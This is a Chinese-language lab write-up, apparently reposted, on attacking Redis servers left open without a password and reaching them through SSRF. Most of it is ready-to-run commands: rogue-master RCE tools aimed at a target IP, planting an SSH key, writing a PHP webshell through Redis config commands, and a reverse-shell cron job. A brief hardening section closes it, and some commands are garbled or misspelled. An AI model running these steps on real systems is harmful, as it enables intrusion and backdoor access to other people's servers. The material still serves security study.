Redis
是一个开源的内存数据库,它用于存储数据,并提供高性能、可扩展性和丰富的数据结构支持。
RedisInsight/RedisDesktopManager可视化连接工具
漏洞原理
(1)redis绑定在 0.0.0.0:6379端口,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;
(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。
Redis
默认情况下,会绑定在0.0.0.0:6379
,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip
访问等,这样将会将Redis
服务暴露到公网上,
如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。
攻击者在未授权访问Redis
的情况下,利用Redis
自身的提供的config
命令,可以进行写文件操作,并且写公匙登录
测绘查找
port="6379"&server="redis"
Docker开启环境
docker-compose up -d
docker-compose ps // 查看端口6379
kali
扫描主机同样存在
Redis(<=5.0.5) RCE 工具梭哈
攻击机下载RCE
工具 redis-rogue-server
工具。使用该工具将在终端伪造一个redis
服务并尝试与目标连接实现未授权访问
git clone https://github.com/n0b0dyCN/redis-rogue-server // kali直接下载
python3 ./redis-rogue-server.py --rhost 靶机ip --lhost 攻击机ip // 连接
i // 交互式 成功RCE
Redis 4.x/5.x 主从复制 RCE
主从复制是指将一台Redis主服务器的数据,复制到其他的Redis从服务器。前者称为主节点(master),后者称为从节点
漏洞原理是目标靶机存在ssrf
漏洞探测到了Redis
未授权,我们可以自己搭建一个redis
服务器作为目标靶机的主服务器,也就是说我们在redis
服务器恶意构造.so
文件,通过主从复制的模式到该目标靶机实现RCE
通过工具远程连接执行,原本是通过git
在kali克隆但是克隆不了,所以从物理机手动下载移到Kali
并且进入redis-rogue-getshell-master/RedisModulesSDK/exp
路径使用make
命令下载模块,下载完成后cd
回到根目录redis-rogue-getshell-master
python ./redis-master.py -r 10.2.109.98 -p 6379 -L 192.168.111.128 -P 8989 -f RedisModulesSDK/exp/exp.so -c "whoami"
// 第一个IP 靶机IP 第二个 攻击机IP 最后为需要执行的命令
1公私钥免密登录
登陆linux
有几种方式,最常用的是密码登陆和RSA key
登陆,RSA key
登陆是生成一个公私对应的秘钥; 未授权成功后将自己的ssh
公钥写入目标服务器的/root/.ssh
文件的authotrized_keys
文件中,进而可以使用保留在攻击机对应私钥使用ssh
服务器登录目标服务器
- 为什么
redis
可以获取服务器的root
权限呢?RSA key
的登陆方式在服务器方面是要将公钥写入目标authorized_keys
文件中的,而redis
有一种持久化方式是生成RDB
文件,通过持久化将公钥写入root
下的authored_keys
文件里,这样就将非法的公钥写到了验证文件里^注释2,后面我们拿对应私钥登陆即可(但是这种方式需要再redis
是root
启动的情况下使用,因为非root
权限无法进入/root
目录)
攻击机中生成ssh
公钥和私钥文件,密码为空一直回车就行 id_rsa
为私钥,id_rsa.pub
为公钥
进入ssh
目录将生成的公钥保存到1.txt
并且使用远程连接攻击连接靶机把1.txt
写入redis
中
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt // 攻击机保存文件
cat 1.txt | redis-cli -h 192.168.31.169 -x set crack
下面操作就是更改目标服务器Redis
备份路径为ssh公钥存放目录,但是一直是权限不足,所以没有弄了,下面是别人的操作,上传公匙文件保存退出
此时在攻击机上使用SSH
免密登录靶机,利用私钥成功登入redis
服务器
Redis-cli工具连接写shell
攻击机下载工具
wget http://download.redis.io/redis-stable.tar.gz
tar -zxvf redis-stable.tar.gz
cd redis-stable
make // 编译 时间很久
远程连接Redis
服务器免密登录命令
无密码登录命令
C 目标主机IP
有密码登录命令
redis-cli -h 目标主机IP -p 端口6379 -a 登录密码
redis-cli -h 10.2.109.98 // 连接靶机redis服务器
info // 输出获取有关 Redis 服务器的各种信息,包括版本、模式、操作系统等
写入shell
文件
靶场没有开启web
端口无法直接上传木马文件,用写入shell
文件的方式添加后门攻击者在未授权访问Redis
的情况下,利用服务自身提供的config
命令,可以进行写文件所以可以写入shell
,在上文远程连接基础上写入文件,选择/tmp
目录通常对所有用户都是可读写的
config set dir /tmp // 选择目录为tmp
config set dbfiname saber.php // 文件名为saber.php
// 添加几\r\n个换行,是因为redis写入文件时会自带一些版本信息,若不换行可能会导致木马无法正常执行
set webshell "\r\n\r\n<?php phpinfo();?>\r\n\r\n" // 文件内容
save // 执行
写入文件后可以通过容器ID
查看文件
Docker
查看写入Shell
成功,使用IP
结合路径就可以 连接蚁剑了
Redis+SSRF
利用SSRF
伪协议 file
读取机器文件获得内网IP
再次利用伪协议DICT
配合内网IP
探测内网端口开放情况,如果存在6379
开放且是未授权连接则可以按上面的打方打,前提是SSRF
扫描到了内网的Redis
服务,然后 SSRF配合
伪协议在Redis
里面写东西,利用上面的工具,通常都是gopher
协议构造数据包,SSRF打Redis
关键就是用**gopher
2/dict
协议 两个都可以写一句话,dict
可以写计划任务
config
写一句话shell
在tmp
或者其他有写入权限目录 ; 知晓网站绝对路径通过蚁剑连接,- 攻击机生成公私钥复制上传,造成免密登录对方机器
crontao
写入计划任务反弹shell
修复建议
- 修改
redis.conf
配置文件设置bind 127.0.0.1
,这将限制Redis
仅接受来自本地主机的连接 - 设置强密码连接
Redis
需要进行身份验证
本站资源均来自互联网,仅供研究学习,禁止违法使用和商用,产生法律纠纷本站概不负责!如果侵犯了您的权益请与我们联系!
转载请注明出处: 免费源码网-免费的源码资源网站 » Redis未授权访问及配合SSRF总结
发表评论 取消回复